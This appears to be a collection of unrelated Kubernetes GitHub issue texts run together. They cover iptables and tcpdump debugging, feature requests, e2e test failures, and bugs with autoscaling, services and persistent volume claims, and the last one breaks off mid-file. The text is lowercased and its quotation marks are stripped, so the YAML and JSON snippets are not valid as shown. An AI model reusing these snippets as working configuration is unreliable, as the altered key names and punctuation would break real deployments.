19:55:57.370817 ip 10.40.0.2.80 > 212.9.183.78.64411: flags  p. , seq 11121:11899, ack 313, win 224, options  nop,nop,ts val 17958439 ecr 897841476 , length 778: http\r 19:55:57.397226 ip 10.40.0.0.64411 > 10.40.0.2.80: flags  . , ack 11121, win 4058, options  nop,nop,ts val 897841505 ecr 17958439 , length 0\r 19:55:57.397244 ip 10.40.0.0.64411 > 10.40.0.2.80: flags  . , ack 11899, win 4034, options  nop,nop,ts val 897841505 ecr 17958439 , length 0\r 19:55:57.397251 ip 10.40.0.0.64411 > 10.40.0.2.80: flags  f. , seq 312, ack 11899, win 4096, options  nop,nop,ts val 897841506 ecr 17958439 , length 0\r 19:55:57.397408 ip 10.40.0.2.80 > 212.9.183.78.64411: flags  f. , seq 11899, ack 314, win 224, options  nop,nop,ts val 17958446 ecr 897841506 , length 0\r 19:55:57.461604 ip 10.40.0.0.64411 > 10.40.0.2.80: flags  . , ack 11900, win 4096, options  nop,nop,ts val 897841554 ecr 17958446 , length 0\r    \r \r - iptables-save from the node where the pod runs and i did the debugging\r \r    \r   iptables-save \r   generated by iptables-save v1.4.21 on wed apr 26 19:57:39 2017\r  nat\r :prerouting accept  0:0 \r :input accept  0:0 \r :output accept  4:240 \r :postrouting accept  4:240 \r :docker -  0:0 \r :kube-mark-drop -  0:0 \r :kube-mark-masq -  0:0 \r :kube-nodeports -  0:0 \r :kube-postrouting -  0:0 \r :kube-sep-3e4lnqkkwzf7g6sh -  0:0 \r :kube-sep-mdtvk4hfpopaeiyp -  0:0 \r :kube-sep-oey6jjqsbcqprkhs -  0:0 \r :kube-sep-vebdce2hzvwwidtr -  0:0 \r :kube-sep-zzwtywpnmxvegzhf -  0:0 \r :kube-services -  0:0 \r :kube-svc-erifxisqep7f7of4 -  0:0 \r :kube-svc-m7xme3wtb36r42am -  0:0 \r :kube-svc-npx46m4ptmtkrn6y -  0:0 \r :kube-svc-tcou7jcqxezgvunu -  0:0 \r :kube-svc-wpvpfubzsxluxobx -  0:0 \r :kube-xlb-wpvpfubzsxluxobx -  0:0 \r :weave -  0:0 \r -a prerouting -m comment --comment \ kubernetes service portals\  -j kube-services\r -a prerouting -m addrtype --dst-type local -j docker\r -a output -m comment --comment \ kubernetes service portals\  -j kube-services\r -a output ! -d 127.0.0.0/8 -m addrtype --dst-type local -j docker\r -a postrouting -m comment --comment \ kubernetes postrouting rules\  -j kube-postrouting\r -a postrouting -s 172.17.0.0/16 ! -o docker0 -j masquerade\r -a postrouting -j weave\r -a docker -i docker0 -j return\r -a kube-mark-drop -j mark --set-xmark 0x8000/0x8000\r -a kube-mark-masq -j mark --set-xmark 0x4000/0x4000\r -a kube-nodeports -p tcp -m comment --comment \ default/wpfrontend:\  -m tcp --dport 30555 -j kube-xlb-wpvpfubzsxluxobx\r -a kube-postrouting -m comment --comment \ kubernetes service traffic requiring snat\  -m mark --mark 0x4000/0x4000 -j masquerade\r -a kube-sep-3e4lnqkkwzf7g6sh -s 10.40.0.1/32 -m comment --comment \ kube-system/kube-dns:dns-tcp\  -j kube-mark-masq\r -a kube-sep-3e4lnqkkwzf7g6sh -p tcp -m comment --comment \ kube-system/kube-dns:dns-tcp\  -m tcp -j dnat --to-destination 10.40.0.1:53\r -a kube-sep-mdtvk4hfpopaeiyp -s 192.168.141.24/32 -m comment --comment \ default/kubernetes:https\  -j kube-mark-masq\r -a kube-sep-mdtvk4hfpopaeiyp -p tcp -m comment --comment \ default/kubernetes:https\  -m recent --set --name kube-sep-mdtvk4hfpopaeiyp --mask 255.255.255.255 --rsource -m tcp -j dnat --to-destination 192.168.141.24:6443\r -a kube-sep-oey6jjqsbcqprkhs -s 10.40.0.1/32 -m comment --comment \ kube-system/kube-dns:dns\  -j kube-mark-masq\r -a kube-sep-oey6jjqsbcqprkhs -p udp -m comment --comment \ kube-system/kube-dns:dns\  -m udp -j dnat --to-destination 10.40.0.1:53\r -a kube-sep-vebdce2hzvwwidtr -s 10.44.0.1/32 -m comment --comment \ default/mysql:\  -j kube-mark-masq\r -a kube-sep-vebdce2hzvwwidtr -p tcp -m comment --comment \ default/mysql:\  -m tcp -j dnat --to-destination 10.44.0.1:3306\r -a kube-sep-zzwtywpnmxvegzhf -s 10.40.0.2/32 -m comment --comment \ default/wpfrontend:\  -j kube-mark-masq\r -a kube-sep-zzwtywpnmxvegzhf -p tcp -m comment --comment \ default/wpfrontend:\  -m tcp -j dnat --to-destination 10.40.0.2:80\r -a kube-services ! -s 10.32.0.0/12 -d 10.108.23.252/32 -p tcp -m comment --comment \ default/mysql: cluster ip\  -m tcp --dport 3306 -j kube-mark-masq\r -a kube-services -d 10.108.23.252/32 -p tcp -m comment --comment \ default/mysql: cluster ip\  -m tcp --dport 3306 -j kube-svc-m7xme3wtb36r42am\r -a kube-services ! -s 10.32.0.0/12 -d 10.109.104.198/32 -p tcp -m comment --comment \ default/wpfrontend: cluster ip\  -m tcp --dport 80 -j kube-mark-masq\r -a kube-services -d 10.109.104.198/32 -p tcp -m comment --comment \ default/wpfrontend: cluster ip\  -m tcp --dport 80 -j kube-svc-wpvpfubzsxluxobx\r -a kube-services ! -s 10.32.0.0/12 -d 10.96.0.1/32 -p tcp -m comment --comment \ default/kubernetes:https cluster ip\  -m tcp --dport 443 -j kube-mark-masq\r -a kube-services -d 10.96.0.1/32 -p tcp -m comment --comment \ default/kubernetes:https cluster ip\  -m tcp --dport 443 -j kube-svc-npx46m4ptmtkrn6y\r -a kube-services ! -s 10.32.0.0/12 -d 10.96.0.10/32 -p udp -m comment --comment \ kube-system/kube-dns:dns cluster ip\  -m udp --dport 53 -j kube-mark-masq\r -a kube-services -d 10.96.0.10/32 -p udp -m comment --comment \ kube-system/kube-dns:dns cluster ip\  -m udp --dport 53 -j kube-svc-tcou7jcqxezgvunu\r -a kube-services ! -s 10.32.0.0/12 -d 10.96.0.10/32 -p tcp -m comment --comment \ kube-system/kube-dns:dns-tcp cluster ip\  -m tcp --dport 53 -j kube-mark-masq\r -a kube-services -d 10.96.0.10/32 -p tcp -m comment --comment \ kube-system/kube-dns:dns-tcp cluster ip\  -m tcp --dport 53 -j kube-svc-erifxisqep7f7of4\r -a kube-services -m comment --comment \ kubernetes service nodeports; note: this must be the last rule in this chain\  -m addrtype --dst-type local -j kube-nodeports\r -a kube-svc-erifxisqep7f7of4 -m comment --comment \ kube-system/kube-dns:dns-tcp\  -j kube-sep-3e4lnqkkwzf7g6sh\r -a kube-svc-m7xme3wtb36r42am -m comment --comment \ default/mysql:\  -j kube-sep-vebdce2hzvwwidtr\r -a kube-svc-npx46m4ptmtkrn6y -m comment --comment \ default/kubernetes:https\  -m recent --rcheck --seconds 10800 --reap --name kube-sep-mdtvk4hfpopaeiyp --mask 255.255.255.255 --rsource -j kube-sep-mdtvk4hfpopaeiyp\r -a kube-svc-npx46m4ptmtkrn6y -m comment --comment \ default/kubernetes:https\  -j kube-sep-mdtvk4hfpopaeiyp\r -a kube-svc-tcou7jcqxezgvunu -m comment --comment \ kube-system/kube-dns:dns\  -j kube-sep-oey6jjqsbcqprkhs\r -a kube-svc-wpvpfubzsxluxobx -m comment --comment \ default/wpfrontend:\  -j kube-sep-zzwtywpnmxvegzhf\r -a kube-xlb-wpvpfubzsxluxobx -s 10.32.0.0/12 -m comment --comment \ redirect pods trying to reach external loadbalancer vip to clusterip\  -j kube-svc-wpvpfubzsxluxobx\r -a kube-xlb-wpvpfubzsxluxobx -m comment --comment \ balancing rule 0 for default/wpfrontend:\  -j kube-sep-zzwtywpnmxvegzhf\r -a weave -s 10.32.0.0/12 -d 224.0.0.0/4 -j return\r -a weave ! -s 10.32.0.0/12 -d 10.32.0.0/12 -j masquerade\r -a weave -s 10.32.0.0/12 ! -d 10.32.0.0/12 -j masquerade\r commit\r   completed on wed apr 26 19:57:39 2017\r   generated by iptables-save v1.4.21 on wed apr 26 19:57:39 2017\r  filter\r :input accept  308:79317 \r :forward accept  0:0 \r :output accept  330:38364 \r :docker -  0:0 \r :docker-isolation -  0:0 \r :kube-firewall -  0:0 \r :kube-services -  0:0 \r :weave-npc -  0:0 \r :weave-npc-default -  0:0 \r :weave-npc-ingress -  0:0 \r :fail2ban-ssh -  0:0 \r -a input -j kube-firewall\r -a input -p tcp -m multiport --dports 22 -j fail2ban-ssh\r -a input -d 172.17.0.1/32 -i docker0 -p tcp -m tcp --dport 6783 -j drop\r -a input -d 172.17.0.1/32 -i docker0 -p udp -m udp --dport 6783 -j drop\r -a input -d 172.17.0.1/32 -i docker0 -p udp -m udp --dport 6784 -j drop\r -a input -i docker0 -p udp -m udp --dport 53 -j accept\r -a input -i docker0 -p tcp -m tcp --dport 53 -j accept\r -a forward -i docker0 -o weave -j drop\r -a forward -j docker-isolation\r -a forward -o docker0 -j docker\r -a forward -o docker0 -m conntrack --ctstate related,established -j accept\r -a forward -i docker0 ! -o docker0 -j accept\r -a forward -i docker0 -o docker0 -j accept\r -a forward -o weave -j weave-npc\r -a forward -o weave -m state --state new -j nflog --nflog-group 86\r -a forward -o weave -j drop\r -a forward -i weave ! -o weave -j accept\r -a forward -o weave -m conntrack --ctstate related,established -j accept\r -a output -m comment --comment \ kubernetes service portals\  -j kube-services\r -a output -j kube-firewall\r -a docker-isolation -j return\r -a kube-firewall -m comment --comment \ kubernetes firewall for dropping marked packets\  -m mark --mark 0x8000/0x8000 -j drop\r -a weave-npc -m state --state related,established -j accept\r -a weave-npc -d 224.0.0.0/4 -j accept\r -a weave-npc -m state --state new -j weave-npc-default\r -a weave-npc -m state --state new -j weave-npc-ingress\r -a weave-npc-default -m set --match-set weave-k?z;25^m}|1s7p3|h9i; ;mhg dst -j accept\r -a weave-npc-default -m set --match-set weave-4vtqmi<kx/2 jd%_c0s%tho%v dst -j accept\r -a weave-npc-default -m set --match-set weave-iuzcey 5dexbzgrfs8szo <@p dst -j accept\r -a fail2ban-ssh -j return\r commit\r   completed on wed apr 26 19:57:40 2017\r    \r - did i get something wrong\r - i expected this setup to preserve the client ip while accessing the wordpress pod apache\r \r @mrhohn: if you need any more information please let me know

it may be useful to build some kind of library for working with the etcd databases from kubernetes masters. if you build such a library it can be useful for lots of applications, such as removing sensitive information before sharing the state for debugging by a third party, repairing corrupted/buggy state, creating artificial workloads for benchmarking, etc. it would let you do these operations directly in terms of api objects  rather than just the raw protos used as the key values .\r \r cc/ @sig-api-machinery-feature-requests @wojtek-t @gmarek @crassirostris \r

pull https://github.com/kubernetes/kubernetes/pull/35415 optimized guaranteed update to avoid a get against etcd3.  instead of reading the data that etcd has, it reserializes the in memory version of the object.  the problem is that we use the delta between the etcd version and the new version we are writing to get rid of out of date versions  i.e. going from v1beta3 to v1, we switched the apiserver config to v1, then issued a no-op write to all objects .  with the optimization in place, the only way to force a write is to make a concrete change to the serialized object, like adding an annotation.\r \r until we fix this, we can't drop an old api version, and someone updating to protobuf can't for instance ensure all their data is protobuf at rest.

currently, kubelet mounts hosts file for  non-hostnetwork  https://github.com/kubernetes/kubernetes/blob/48b3fb84abdc0fee12299eed262da287d48110de/pkg/kubelet/kubelet_pods.go l112-l118  pods. for hostnetwork pods, the behavior is different and instead, kubelet relies on docker  or whatever container runtime  to  mount  \r https://github.com/kubernetes/kubernetes/issues/43632 issuecomment-304376441  the host's hosts file.\r \r we should have kubelet handle hosts file for hostnetwork pods. this would have several benefits:\r \r 1. better control over hosts file in case the container runtime does something  unexpected  https://github.com/moby/moby/issues/17190 \r 2. more consistent behavior between hostnetwork and non-hostnetwork pods\r 3. ensure consistent behavior between different container runtimes\r 4. kubelet-managed hosts file enables features like  hostaliases  https://github.com/kubernetes/kubernetes/pull/45148  to be used for hostnetwork pods\r \r implementation would require:\r 1. make kubelet's  hostsfilecontent  https://github.com/kubernetes/kubernetes/blob/48b3fb84abdc0fee12299eed262da287d48110de/pkg/kubelet/kubelet_pods.go l233  or its caller output different content based on hostnetwork.\r   i. if it's not hostnetwork, use existing behavior.\r   ii. if it's using hostnetwork, read the content from the host's hosts file.\r 2. remove hostnetwork constraint in deciding whether to mount the file\r \r open questions:\r 1. how do we treat changes to the host's hosts file? should the file's content be static between container restarts of the same pod? or should every container restart pick up the latest content of the hosts file? the former seems better for consistency, but letter might be more in line with other features that use host resources like host volumes.\r 2. the condition to manage hosts file also excludes windows even though windows also  support  https://support.rackspace.com/how-to/modify-your-hosts-file/  the use of hosts file and the same format. seems like this should be supported also.\r 3. before windows-support ships, should it have validation against windows platform? the tricky bit is the client, api, and minions' kubelet may be running on different platforms, and currently, there's no precedence to platform validation.\r \r   \r @yujuhong @hongchaodeng @thockin

 \r currently downward api supports only pod name and namespace name. for the prometheus-to-sd component we need to have an access also to id's of these objects, so correct gke_container resource for stackdriver could be created: https://cloud.google.com/monitoring/api/resources

is this a bug report or feature request?  :\r perf improvement when working with quota at scale\r \r  \r   what happened  :\r quota at scale over large numbers of namespaces is doing too many list\r \r   what you expected to happen  :\r usage of shared informer and fewer lists\r \r   how to reproduce it  as minimally and precisely as possible   :\r create 10k namespaces, each namespace with 2 quotas, quota secrets, pvcs, pods, replication controllers, etc.; observe requests to apiservers\r \r   anything else we need to know?  :\r no\r \r   environment  :\r

 \r the persistent volume label controller in the cloud-controller-manager creates a patch to apply the labels to persistent volumes, but to create the patch goes through an awful lot of encoding and decoding.  it would be better if the controller could write its own patch.

our openapi generator works like the following at the moment.\r    \r openapi-gen \\\r --input-dirs \ target,dep1,dep2\  \\\r --output-package \ somewhere\ \r    \r the generated openapi  .go  file will contain all types from target, dep1 and dep2. it will include some types not referenced in target. this will increase the weight of a user apiserver if the openapi spec contains a lot of unnecessary stuff.\r \r a smarter openapi generator should be\r    \r openapi-gen \\\r --target-dirs \ target\  \\\r --dep-dirs \ dep1,dep2\  \\\r --output-package \ somewhere\ \r    \r the generated spec should be contains all the types from  target  and the types in  dep1,dep2  that have been referenced in  target . in this way, the generated openapi  .go  file. will only contain necessary types.\r \r   \r after discussing with @mbohlool, we see 2 approaches that both do 2 passes of the types definition. @mbohlool suggests the first approach.\r \r - build a dependency tree in the first pass and generate the openapi spec in the second pass.\r \r - build the openapi spec for all in the first pass and delete the unnecessary spec in the second pass.\r \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >   /area ipv6\r  \r   what happened  :\r recent changes were made to kubeadm and to kube-dns to modify the health probes that are configured for kube-dns sidecar so that dns queries of type srv, rather than type a, are requested:\r - pr  51378 \r -  kubernetes/dns pr  151  https://github.com/kubernetes/dns/pull/151 \r these changes were made to allow the probe config to be agnostic of whether kube-proxy in the cluster is supporting ipv4 service addresses or ipv6 addresses.  ipv4 vs ipv6 operation of kube-proxy is mutually exclusive at the moment, pending the addition of dual-stack support . \r given these changes, e2e test case s  need to be added to test kube-dns sidecar probes of type srv, and optionally an ipv6 specific test case to try kube-dns sidecar probes of type aaaa.\r \r   what you expected to happen  :\r expect to have e2e test coverage for configuring kube-dns sidecar probes of type srv.\r \r   how to reproduce it  as minimally and precisely as possible   :\r code inspection of current e2e test cases.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : latest master\r - cloud provider or hardware configuration  : virtualbox cluster, ubuntu 16.04.1 host, centos 7 guests\r - os  e.g. from /etc/os-release : centos 7\r - kernel  e.g.  uname -a  : 3.10.0-514.26.2.el7.x86_64  1 smp tue jul 4 15:04:05 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - others:\r

https://k8s-testgrid.appspot.com/google-gce gci-gce-serial\r \r it seems that some temporary node is left over in the apiserver:\r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:142\r feb 16 01:10:08.389: all nodes should be ready after test, not ready nodes: \ , bootstrap-e2e-minion-group-9890, bootstrap-e2e-minion-group-b24h\ \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:390\r    \r \r suspicious changes:\r https://github.com/kubernetes/kubernetes/compare/d3dc4584f...f88ff2ab4\r   https://github.com/kubernetes/kubernetes/pull/59323\r   https://github.com/kubernetes/kubernetes/pull/53833\r   https://github.com/kubernetes/kubernetes/pull/59887\r   ...\r \r @kubernetes/sig-node-bugs @kubernetes/sig-cluster-lifecycle-bugs

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r tried to create a service using targetport as a string referencing the name of the pod port. traffic was not routed to pod.\r \r   what you expected to happen  :\r service to route traffic to pod\r \r   how to reproduce it  as minimally and precisely as possible   :\r    \r apiversion: v1\r kind: service\r metadata:\r   name: kibana-logging\r   namespace: kube-system\r   labels:\r     k8s-app: kibana-logging\r     kubernetes.io/name: \ kibana\ \r spec:\r   type: nodeport\r   ports:\r   - name: kibana-outside\r     port: 5601\r     protocol: tcp\r     targetport: ui\r     nodeport: 30010\r   selector:\r     k8s-app: kibana-logging\r    \r see line targetport\r \r   anything else we need to know?  :\r link that describes how this feature is supposed to work https://kubernetes.io/docs/concepts/services-networking/service/ defining-a-service\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.2\ , gitcommit:\ 81753b10df112992bf51bbc2c2f85208aad78335\ , gittreestate:\ clean\ , builddate:\ 2018-04-27t09:22:21z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ windows/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.0\ , gitcommit:\ 0ed33881dc4355495f623c6f22e7dd0b7632b7c0\ , gittreestate:\ clean\ , builddate:\ 2018-09-27t16:55:41z\ , goversion:\ go1.10.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r windowsbuildlabex                                       : 18249.1000.amd64fre.rs_prerelease.180925-1413\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r @daschott\r @dineshgovindasamy \r @kubernetes/sig-windows

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r  @kubernetes/sig-storage-bugs \r \r   what happened  :\r when the  csidriverregistry  alpha flag is enabled, the csidriver informer is installed upon csi volume plugin initialization, which is run for every single test. because crd is not installed by default, the informer initialization continuously logs the error below:\r    \r e1005 16:33:41.809693    1446 reflector.go:134  k8s.io/csi-api/pkg/client/informers/externalversions/factory.go:117: failed to list  v1alpha1.csidriver: the server could not find the requested resource  get csidrivers.csi.storage.k8s.io \r    \r https://storage.googleapis.com/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-alpha-features/32483/artifacts/gke-e2e-32483-7506d-default-pool-eb898fb6-z35v/kubelet.log\r \r https://github.com/kubernetes/kubernetes/pull/69416 should fix this\r

 \r   what happened  :\r horizontal pod autoscalar did not kick in when expected.\r target is set at 80% with maxpods=5, but only 3 replicas have started.\r \r    \r kubectl --namespace istio-system get hpa\r name                   reference                         targets    minpods   maxpods   replicas   age\r istio-telemetry        deployment/istio-telemetry        308%/80%   1         5         3          6d\r mjog@devinstance:$ kubectl --namespace istio-system describe hpa istio-telemetry\r \r name:                                                  istio-telemetry\r namespace:                                             istio-system\r labels:                                                <none>\r annotations:                                           kubectl.kubernetes.io/last-applied-configuration={\ apiversion\ :\ autoscaling/v2beta1\ ,\ kind\ :\ horizontalpodautoscaler\ ,\ metadata\ :{\ annotations\ :{},\ name\ :\ istio-telemetry\ ,\ namespace\ :\ istio-system\ },...\r creationtimestamp:                                     fri, 12 oct 2018 05:36:44 +0000\r reference:                                             deployment/istio-telemetry\r metrics:                                                 current / target  \r   resource cpu on pods   as a percentage of request :  308%  13278m  / 80%\r min replicas:                                          1\r max replicas:                                          5\r conditions:\r   type            status  reason              message\r   ----            ------  ------              -------\r   abletoscale     true    readyfornewscale    the last scale time was sufficiently old as to warrant a new scale\r   scalingactive   true    validmetricfound    the hpa was able to succesfully calculate a replica count from cpu resource utilization  percentage of request \r   scalinglimited  false   desiredwithinrange  the desired count is within the acceptable range\r events:           <none>\r    \r \r   what you expected to happen  :\r expect to go all the way up to 5 is resources are available.\r \r \r   how to reproduce it  as minimally and precisely as possible   :\r    \r apiversion: autoscaling/v1\r kind: horizontalpodautoscaler\r metadata:\r   annotations:\r     autoscaling.alpha.kubernetes.io/conditions: ' {\ type\ :\ abletoscale\ ,\ status\ :\ true\ ,\ lasttransitiontime\ :\ 2018-10-18t18:50:53z\ ,\ reason\ :\ readyfornewscale\ ,\ message\ :\ the\r       last scale time was sufficiently old as to warrant a new scale\ },{\ type\ :\ scalingactive\ ,\ status\ :\ true\ ,\ lasttransitiontime\ :\ 2018-10-18t21:24:23z\ ,\ reason\ :\ validmetricfound\ ,\ message\ :\ the\r       hpa was able to succesfully calculate a replica count from cpu resource utilization\r        percentage of request \ },{\ type\ :\ scalinglimited\ ,\ status\ :\ false\ ,\ lasttransitiontime\ :\ 2018-10-18t19:01:23z\ ,\ reason\ :\ desiredwithinrange\ ,\ message\ :\ the\r       desired count is within the acceptable range\ } '\r     autoscaling.alpha.kubernetes.io/current-metrics: ' {\ type\ :\ resource\ ,\ resource\ :{\ name\ :\ cpu\ ,\ currentaverageutilization\ :310,\ currentaveragevalue\ :\ 13366m\ }} '\r     kubectl.kubernetes.io/last-applied-configuration: |\r       {\ apiversion\ :\ autoscaling/v2beta1\ ,\ kind\ :\ horizontalpodautoscaler\ ,\ metadata\ :{\ annotations\ :{},\ name\ :\ istio-telemetry\ ,\ namespace\ :\ istio-system\ },\ spec\ :{\ maxreplicas\ :5,\ metrics\ : {\ resource\ :{\ name\ :\ cpu\ ,\ targetaverageutilization\ :80},\ type\ :\ resource\ } ,\ minreplicas\ :1,\ scaletargetref\ :{\ apiversion\ :\ apps/v1beta1\ ,\ kind\ :\ deployment\ ,\ name\ :\ istio-telemetry\ }}}\r   creationtimestamp: 2018-10-12t05:36:44z\r   name: istio-telemetry\r   namespace: istio-system\r   resourceversion: \ 9048256\ \r   selflink: /apis/autoscaling/v1/namespaces/istio-system/horizontalpodautoscalers/istio-telemetry\r   uid: cdac2cdd-cde0-11e8-bb2c-42010a80010c\r spec:\r   maxreplicas: 5\r   minreplicas: 1\r   scaletargetref:\r     apiversion: apps/v1beta1\r     kind: deployment\r     name: istio-telemetry\r   targetcpuutilizationpercentage: 80\r status:\r   currentcpuutilizationpercentage: 310\r   currentreplicas: 3\r   desiredreplicas: 3\r   lastscaletime: 2018-10-18t18:12:23z\r    \r   environment  :\r    \r mjog@devinstance: kubectl version\r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.7\ , gitcommit:\ 0c38c362511b20a098d7cd855f1314dad92c2780\ , gittreestate:\ clean\ , builddate:\ 2018-08-20t10:09:03z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9+\ , gitversion:\ v1.9.7-gke.6\ , gitcommit:\ 9b635efce81582e1da13b35a7aa539c0ccb32987\ , gittreestate:\ clean\ , builddate:\ 2018-08-16t21:33:47z\ , goversion:\ go1.9.3b4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r

people create clusters at a wide range of sizes. people then resize clusters to a wide range of sizes. our cluster addons are configured statically, and do not respond to such changes in size. this causes problems in some cases: 1. the default addons don't all fit on sufficiently small clusters  e.g. create a cluster with a single f1-micro on gce, prepare to feel the pain   2. the default addons waste a large proportion of resources on small clusters -- does my two node cluster 300mib for heapster? will it ever need more than one dns pod? 3. the default addons don't scale properly to large clusters - heapster with 300mib of memory isn't going to cut it on even some medium sized clusters, let alone clusters with a hundred nodes   example  https://groups.google.com/d/topic/google-containers/llxw0xjqwmi/discussion  . more than one dns pod will be useful for availability.  some really simple control logic should be able to make the situation better by listing the nodes in the cluster and updating the addon rcs using a few basic rules. it could be part of the node controller, or be a very small container that runs on the master or even in the user's cluster  but it better be very small to justify its benefits .  @roberthbailey @zmerlynn

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gke-serial/2181/  failed:  k8s.io  schedulerpredicates  serial  validates that inter-pod-affinity is respected if not matching {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduler_predicates.go:233 expected error:     < errors.errorstring | 0xc820b032e0>: {         s: \ not all pods in namespace 'kube-system' running and ready within 5m0s\ ,     }     not all pods in namespace 'kube-system' running and ready within 5m0s not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduler_predicates.go:226

how can resourcesets be auto scaled down to zero and back up based on network activity, similar to what an application server like iis does with http / tcp activation? the \ serverless\  implementations that are targeting docker / kube seem to mainly be trying to solve this problem, which seems like something that would be nice to have in the box.\r \r does this type of behavior belong in an ingress controller, or would it be more suitable somewhere else?

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r no\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r persistent volume claim request storage full size persistent volume  any variation/combination of these words.... \r \r ---\r \r   is this a bug report or feature request?    choose one :\r bug report\r \r \r   kubernetes version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t04:57:25z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t04:52:34z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r \r \r   environment  :\r - aws  c4.xlarge, t2.large \r - terraform, ansible, jenkins pipelines, ecr, docker, ... the usual suspects\r \r   what happened  :\r \r i basically needed some nodes to have some extra disk space because they were processing large files. nothing to do with state, but i just needed to get the load on kubernetes down a bit. because aws ebs only allows rwo mounts, i thought creating a single pv with multiple claims would do the job. a bit more cumbersome than i'd hoped, but it would work. i basically followed the simplest documented example: https://kubernetes.io/docs/tasks/configure-pod-container/configure-persistent-volume-storage/\r \r to my surprise, i found that the first pvc i created went ahead to claim the  full  20 gi of the pv, even though i specified a request of 5gi. on closer inspection i noticed that the documentation contains the output of  kubectl get pvc task-pv-claim : \r \r    \r name            status    volume           capacity   accessmodes   age\r task-pv-claim   bound     task-pv-volume   10gi       rwo           5s\r    \r \r even though the requested storage is only 3gi.\r \r things i tried to get the desired result include:\r \r   setting up a pv, and 1 pvc, using the same pvc to mount 3 chunks  ie 3   3gb of a 10gb ebs volume  - this did not work\r   i tried adding limits to my pvc's to ensure the claim wouldn't exceed a certain size. rather than getting errors, or warnings, it just didn't seem to make any difference at all. the first pvc still claims the full 20g.\r   all sorts of silly things really\r   eventually accepted that the only solution i could think of was to create 1 ebs volume per mount i need. this is less than ideal, of course.\r \r \r   what you expected to happen  :\r \r i expect to be able to specify, in pvc's the amount of storage to request from the pv, and be able to specify how much space should be claimed.\r \r \r   how to reproduce it   \r \r here's the files i used in the process  in their current form :\r \r storageclass.yaml\r \r    yaml\r kind: storageclass\r apiversion: storage.k8s.io/v1beta1\r metadata:\r   name: \ foobar\    comes from env, too\r provisioner: kubernetes.io/aws-ebs\r parameters:\r   type: gp2\r   zone: \ {{ aws_zone }}\    comes from env var\r    \r persistent-volume.yaml\r \r    yaml\r apiversion: v1\r kind: persistentvolume\r metadata:\r   name: pv-my-volume-name\r   annotations:\r     volume.beta.kubernetes.io/storage-class: \ foobar\ \r spec:\r   capacity:\r     storage: 20gi   ebs volume exists, is 20gb and available\r   accessmodes:\r     - readwriteonce\r   persistentvolumereclaimpolicy: recycle\r   awselasticblockstore:\r     volumeid: \ vol-123abc\    ,,, redacted obviously\r     readonly: false\r \r    \r \r one of the pvc's:\r \r    yaml\r apiversion: v1\r kind: persistentvolumeclaim\r metadata:\r   name: pvc-name-foobar1\r   annotations:\r     volume.beta.kubernetes.io/storage-class: \ foobar\ \r spec:\r   accessmodes:\r     - readwriteonce\r   resources:\r        limits bit was added at a later stage\r     limits:\r       storage: 5gi\r     requests:\r       storage: 5gi\r    \r \r there's 2 more pvc files, each identical apart from the name   pvc-name-foobar{1,2,3}  essentially .\r \r for completeness' sake, i mount the volumes like so:\r \r    yaml\r kind: deployment\r apiversion: extensions/v1beta1\r metadata:\r   annotations:\r     prometheus.io/scrape: 'true'\r   labels:\r     run: my-stuff\r   name: my-stuff\r spec:\r   replicas: 1\r   minreadyseconds: 10\r   selector:\r     matchlabels:\r       run: my-stuff\r   strategy:\r     rollingupdate:\r       maxsurge: 1\r       maxunavailable: 1\r     type: rollingupdate\r   